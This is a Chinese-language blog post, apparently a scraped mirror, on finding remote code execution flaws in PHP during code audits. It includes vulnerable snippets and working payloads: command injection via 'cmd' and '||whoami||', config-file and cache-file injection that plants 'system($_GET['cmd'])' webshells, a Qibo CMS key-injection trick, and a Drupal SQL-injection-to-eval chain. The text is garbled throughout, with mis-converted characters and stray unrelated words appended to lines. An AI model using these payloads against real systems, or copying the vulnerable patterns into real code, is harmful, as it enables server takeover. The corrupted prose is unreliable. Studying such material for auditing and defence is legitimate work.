小飛 · 2014/11/07 13:45php
若是OWASP給PHP漏洞弄個排行榜,那RCE(遠程命令執行)絕對是最臭名昭著漏洞的前十名,其攻擊方式靈活,且攻擊成功後通常返回繼承了web組件(如apache)權限的shell,危害自沒必要再多描述。那麼,今天就來看看代碼審計中到底該在哪裏尋找命令執行?或者說,哪些功能會致使代碼執行?html
這是一個最簡單的命令執行漏洞linux
#!php
//index.php
<?php
$cmd=$_GET['cmd'];
system($cmd); ?>
複製代碼
咱們能夠執行程序員
index.php?cmd=whoami
複製代碼
特別注意若是咱們使用了web
#!php
<?php
$cmd=$_GET['cmd'];
echo exec($cmd);
?>
複製代碼
因爲exec()
默認沒有回顯,因此執行命令以後 咱們是看不到結果的, 固然咱們可以經過重定向,把他們導入文件中,再來查詢sql
固然這些代碼通常狀況下是不可能出如今程序中的,咱們僅做了解。 那麼…… 到底哪裏會出現命令執行呢?shell
Demo #1 實現查詢dns的RCEapache
這是一個實現查詢dns命令的php程序片斷,因爲要和系統產生信息通道,使用了system()函數,過濾不嚴也致使了RCE。數組
#!php
<?php
include("common.php");
showMenu();
echo '<br>';
$status = $_GET['status'];
$ns = $_GET['ns'];
$host = $_GET['host'];
$query_type = $_GET['query_type']; // ANY, MX, A , etc.
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
$host = trim($host);
$host = strtolower($host);
echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
echo '<pre>';
//start digging in the namserver
system ("dig @$ns $host $query_type");
echo '</pre>';
} else {
?>
複製代碼
若是咱們請求緩存
dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
複製代碼
明顯system ("dig whoami sirgod.com NS");
是不能執行的
因此咱們用「||」分別執行linux命令
dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging
system ("dig ||whoami|| sirgod.net NS");
複製代碼
那麼咱們就分離了dig命令和whoami 成功執行
Demo #2 配置信息保存不當的RCE
不少時候php的配置信息是直接保存在.php後綴的文件裏面的 好比discuz 若是沒有認真過濾…
#!php
if(isset($action) && $action == "setconfig") {
$config_file = "config.php";
$handle = fopen($config_file, 'w');
$StringData = "<?php\r
$"."news_width = '".clean($_POST[news_width])."';\r
$"."bgcolor = '".clean($_POST[bgcolor])."';\r
$"."fgcolor = '".clean($_POST[fgcolor])."';\r
$"."padding = '".clean($_POST[padding])."';\r
$"."subject_margin = '".clean($_POST[subject_margin])."';\r
$"."fontname = '".clean($_POST[fontname])."';\r
$"."fontsize = '".clean($_POST[fontsize])."';\r\n?>";
fwrite($handle, $StringData);
}
複製代碼
那麼若是正常提交 就是
#!php
<?php
$news_width = '600px';
$bgcolor = '#000000';
$fgcolor = '#ffffff';
$padding = '5px';
$subject_margin = '0px';
$fontname = 'verdana';
$fontsize = '13px';
?>
複製代碼
咱們要是提交';system($_GET['cmd']);'
配置文件就會變成
#!php
<?php
$news_width = '';
system($_GET['cmd']);
'';
$bgcolor = '#000000';
$fgcolor = '#ffffff';
$padding = '5px';
$subject_margin = '0px';
$fontname = 'verdana';
$fontsize = '13px';
?>
複製代碼
很明顯這就是個合法的php文件了,也成爲了一個webshell。
Demo #2 緩存寫入不當的RCE
#!php
$newsfile = "news.txt";
$file = fopen($newsfile, "r");
..........................................................................
elseif ((isset($_REQUEST["title"])) && (isset($_REQUEST["date"])) &&
(isset($_REQUEST["post"])) && ($_REQUEST["title"]!="") &&
($_REQUEST["date"]!="") && ($_REQUEST["post"]!="")) {
$current_data = @fread($file, filesize($newsfile));
fclose($file);
$file = fopen($newsfile, "w");
$_REQUEST["post"] = stripslashes(($_REQUEST["post"]));
$_REQUEST["date"] = stripslashes(($_REQUEST["date"]));
$_REQUEST["title"] = stripslashes(($_REQUEST["title"]));
if(fwrite($file,$btable . " " . $btitle . " " . $_REQUEST["title"] . " " . $etitle . " " . $bdate . " " . $_REQUEST["date"] . " " . $edate . " " . $bpost . " " . $_REQUEST["post"] . " " . $epost . " " . $etable . "\n " . $current_data))
include 'inc/posted.html';
else
include 'inc/error1.html';
fclose($file);
複製代碼
這個代碼的業務功能就是寫入緩存,是下次使用以前直接調用靜態文件 如何顯示給訪客呢
#!php
<? include("news.txt"); ?>
複製代碼
那麼咱們試試注入shell
#!php
<table class='sn'> <tbody>
<tr><td class='sn-title'>
<?php system($_GET['cmd']); ?>
</td></tr> <tr><td class='sn-date'>
Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test2 </td></tr> </tbody></table><div><br /></div> <table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test </td></tr> </tbody></table><div><br /></div>
複製代碼
訪問display.php?cmd=whoami 成功執行
有人就說了,上面代碼是簡單的phpdemo而已,實際環境中的審計確定沒有那麼簡單,那麼,當咱們面對完整的php程序,他們面對對象,基於各類框架,還怎麼去尋找RCE的蹤影呢?
咱們來看幾個實例
齊博cms緩存寫入致使遠程代碼執行 漏洞文件
#!php
foreach($label AS $key=>$value){
var_dump ($value);exit;//若是是新標籤時,即爲數組array(),要清空
if(is_array($value))
{
$label[$key]='';
}
}
//寫緩存
if( (time()-filemtime($FileName))>($webdb[label_cache_time]*60) ){
$_shows="<?php\r\n\$haveCache=1;\r\n";
foreach($label AS $key=>$value){
$value=addslashes($value);
$_shows.="\$label['$key']=stripslashes('$value');\r\n";
}
write_file($FileName,$_shows.'?>');
}
}
複製代碼
這段代碼功能很好分析 遍歷標籤($label)變量,而且寫入緩存,
咱們看看過濾函數
#!php
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
@eregi("['\\\"&]+",$key) && die('ERROR KEY!');
$value=str_replace("&#x","& # x",$value); //過濾一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //過濾不安全函數
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}
複製代碼
這裏檢測key的機制就出問題,,我畫了個圖
簡而言之,他只檢測最底層的key 因此咱們提交label[evilcode][asd]=xx
匹配的key是asd 那麼就不會被匹配出 evilcode就不會被檢測。
因爲qibo是 僞全局
#!php
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
複製代碼
會幫咱們註冊好提交的變量 因此$label是可以直接控制的
那麼也就是當咱們提交
#!php
label['.phpinfo().'][asd]=sb
複製代碼
提交的key爲''.phpinfo().''
那麼寫入的本地文件就是
#!php
\$label[''.phpinfo().'']=stripslashes();\r\n";
複製代碼
這時全部引號全都閉合
緩存文件夾中也就寫入了咱們的shell
Drupal函數回調致使的RCE
Drupal做爲世界上公認最強大的phpweb框架,一直在追求更安全的開發方法 好比,它採用預編譯的方法進行SQL交互,使得SQL注入漏洞幾乎難以挖掘。然而在近期,因爲一個功能中將SQL預編譯權利交給了用戶。
#!php
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
複製代碼
插入用戶輸入數據致使sql注入
又因爲drupal採用的PDO是支持多行的,因此能執行任意語句,固然這不是今天的重點。 今天咱們看看如何漏洞擴大,把SQLI變成RCE 首先講下call_user_func_array
(PHP 4 >= 4.0.4, PHP 5)
調用回調函數,並把一個數組參數做爲回調函數的參數 說明
#!php
mixed call_user_func_array ( callable $callback , array $param_arr )
$preferred_links = &drupal_static(__FUNCTION__);
If (!isset($path)) { $path = $_GET['q']; }
複製代碼
首先$path做爲變量是可控的
#!php
function menu_execute_active_handler($path = NULL, $deliver = TRUE) {
$page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE;
$read_only_path = !empty($path) ? $path : $_GET['q']; drupal_alter('menu_site_status', $page_callback_result, $read_only_path);
if ($page_callback_result == MENU_SITE_ONLINE) {
if ($router_item = menu_get_item($path)) {
if ($router_item['access']) {
if ($router_item['include_file']) {
require_once DRUPAL_ROOT . '/' . $router_item['include_file']; } $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
} else { $page_callback_result = MENU_ACCESS_DENIED;
} } else { $page_callback_result = MENU_NOT_FOUND; } } }
if ($router_item['include_file']) { require_once DRUPAL_ROOT . '/' . $router_item['include_file']; }
複製代碼
包含了文件
經過預編譯註入向表中插入一個語句
#!php
insert into menu_router (path, page_callback, access_callback, include_file) values ('<?php phpinfo();?>','eval', '1', 'modules/php/php.module');
複製代碼
path 爲要執行的代碼; include_file 爲 PHP filter Module 的路徑; page_callback 爲 eval; access_callback 爲 1(可讓任意用戶訪問)。 訪問地址便可形成 RCE。
通常來說,漏洞造成的緣由基本都是「數據與代碼未有效分離」,然而RCE是個例外,每每出現rce的地方原本就是供程序執行代碼的地方,加上現在php程序功能愈來愈強大,各類地方相互調用,致使組合利用漏洞。因此程序員寫起代碼來每每都不知道改怎麼去防護,或者說防不勝防。 因爲其漏洞實現的靈活性,尋找RCE,仍是應該從功能入手,去研究代碼實現了什麼功能,最後變量進入什麼函數,被如何調用,而不是簡簡單單的去進行關鍵字搜索,畢竟,現在代碼審計已經從「哪裏有洞」過渡到「如何繞過」的時代了。